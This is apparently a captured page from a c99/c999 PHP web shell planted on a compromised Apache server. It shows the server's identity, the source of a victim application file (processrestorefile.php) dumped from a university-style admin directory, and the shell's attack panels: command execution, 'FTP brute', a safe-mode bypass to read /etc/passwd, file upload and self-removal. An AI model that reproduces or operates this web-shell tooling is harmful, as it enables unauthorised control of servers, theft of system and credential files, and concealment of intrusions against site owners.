!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     processrestorefile.php (4.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include_once "template.php";
//showHeader();
require_once('../lib/nusoap/nusoap.php');
include_once 
"../link/function.php";
include_once 
"../class/clsFileUpdate.php";
include_once 
"../class/clsFileUpdateTemp.php";
include_once(
"../global0.php");

openWindow();
autotab();

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);
$oFd = new FileUpdate($oCA);


    
$oFd = new FileUpdate($oCA);  
    
$oFd1 = new FileUpdate($oCA); 
    
$oFd2 = new FileUpdate($oCA); 
    
$oFdt = new FileUpdateTemp($oCA);
    
/////////////////////////////////////////////////////
    
$collegecode=$GLOBALS["COLLEGECODE"];
    
$sysId=$GLOBALS["SYS_ID_E"];
      
$savefiletodir="../../";  // real
    
$server_path=$GLOBALS["SERVER_PATH"];
////////////////////////////////////////////////////
    
?> 
<?                    
    $oFd
->SearchByKey($fileId);
    
$oFd->GetRecord();
    
    
$oFd2->SearchByfilename1anduse($oFd->filename1,$oFd->path);
    while(
$oFd2->GetRecord()){
            
$oFd1->SearchByfileId($oFd2->fileId);
            
$oFd1->GetRecord();
            
$oFd1->Edit();
            
$oFd1->fileId=$oFd1->fileId;
            
$oFd1->updateDate=$oFd1->updateDate;
            
$oFd1->filename1=$oFd1->filename1;
            
$oFd1->filename2=$oFd1->filename2;
            
$oFd1->flagfile=$oFd1->flagfile;
            
$oFd1->flagupdate=$oFd1->flagupdate;
            
$oFd1->path=$oFd1->path;
            
$oFd1->detail=$oFd1->detail;
            
$oFd1->sysId=$oFd1->sysId;
            
$oFd1->updatetime=$oFd1->updatetime;
            
$oFd1->flagselect=$oFd1->flagupdate;
            
$oFd1->flagrestore="N";
            
$oFd1->flaguse="N";
            
$oFd1->Save();
    }
    
    
//----to real dir  
    
$folderfile=getcwd(); 
    
chdir($pathnow);     //[/var/mis/folder/admin]
    //echo '<h2>path now1</h2><pre>' . getcwd() . '</pre>';
    
chdir($savefiletodir); 
    
//echo '<h2>path now2</h2><pre>' . getcwd() . '</pre>';
                                                                
    
$pathfile=$oFd->path;
    
$i=1;
    while(
strrchr($pathfile,'/')!=""){
        
$f=strrchr($pathfile,'/');
        list(
$p,$fo) = split('[/]',$f);
        
$folder[$i]=$fo;
        list(
$pathfile,$p) = split($f,$pathfile);
        
$i++;
    }
    for(
$j=1$j<$i$j++){
        
$newf[$j]=$folder[$i-$j];
        
//echo "pp".$newf[$j]."<br>";
    
}
    for(
$k=1$k<$j$k++){
        
$checknotfound=0;
        
$checkfound=0;                                                    
        
chdir($newf[$k-1]);
        if (
$handle opendir(getcwd())) {
            while (
false !== ($file readdir($handle))) {
                if (
$file != "." && $file != "..") {
                    if(
$file==$newf[$k]){
                        
$checkfound=1;
                    }else{
                        
$checknotfound=1;
                        
$save=$newf[$k];        
                    }
                }else{
                    if(
$file==$newf[$k]){
                        
$checkfound=1;
                    }else{
                        
$checknotfound=1;
                        
$save=$newf[$k];        
                    }                  
                }
            }
                                                                               
            if(
$checknotfound=="1" && $checkfound!=1){
                if(
$save==""){
                                                                                                        
                }else{
                    
mkdir($save,0755);
                    
chmod($save,0755);
                }        
            }
            
closedir($handle);
            
        }
        
//$pp=getcwd();        
    
}
    
    
//-----  
    
    
$source $folderfile."/fileupdate".$oFd->path."/".$oFd->filename2;
    
chdir($newf[$k-1]);
    
$target getcwd()."/".$oFd->filename1;
                                                                    
    
//-----------------copy file to dir        
    
if($oFd->flagfile!="3"){   //case not delete file        
    //echo "source>>".$source."<br>";
    //echo "target>>".$target."<br>";
        
if (!copy$source $target )){
            echo 
"can't copy";
        }else{
            
//print("Copy $source from to $target");
            
$oFd->SearchByfileId($oFd->fileId);
            
$oFd->GetRecord();
            
$oFd->Edit();
            
$oFd->fileId=$oFd->fileId;
            
$oFd->updateDate=$oFd->updateDate;
            
$oFd->filename1=$oFd->filename1;
            
$oFd->filename2=$oFd->filename2;
            
$oFd->flagfile=$oFd->flagfile;
            
$oFd->flagupdate=$oFd->flagupdate;
            
$oFd->path=$oFd->path;
            
$oFd->detail=$oFd->detail;
            
$oFd->sysId=$oFd->sysId;
            
$oFd->updatetime=$oFd->updatetime;
            
$oFd->flagselect=$oFd->flagselect;
            
$oFd->flagrestore="Y";
            
$oFd->flaguse="Y";
            
$oFd->Save();
        }
    }else{   
//case  delete file
            
$d=getcwd();
            
//echo "====".getcwd()."<br>";
            
chdir("..");
            
$pathdelete=$oFd->path."/".$oFd->filename1;
            list(
$ddd,$pathdelete) = split("/",$pathdelete,2);
            
//echo "deletefile===$pathdelete<br>";
            
unlink($pathdelete);
            
chdir($d);
            
            
unlink($oFd->filename1);
            
$oFd->SearchByfileId($oFd->fileId);
            
$oFd->GetRecord();
            
$oFd->Edit();
            
$oFd->fileId=$oFd->fileId;
            
$oFd->updateDate=$oFd->updateDate;
            
$oFd->filename1=$oFd->filename1;
            
$oFd->filename2=$oFd->filename2;
            
$oFd->flagfile=$oFd->flagfile;
            
$oFd->flagupdate=$oFd->flagupdate;
            
$oFd->path=$oFd->path;
            
$oFd->detail=$oFd->detail;
            
$oFd->sysId=$oFd->sysId;
            
$oFd->updatetime=$oFd->updatetime;
            
$oFd->flagselect=$oFd->flagselect;
            
$oFd->flagrestore="Y";
            
$oFd->flaguse="Y";
            
$oFd->Save();
    }
    
echo 
"<meta http-equiv='refresh' content='0; URL=restorefile.php'>";
?>
<?php
//showFooter();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]--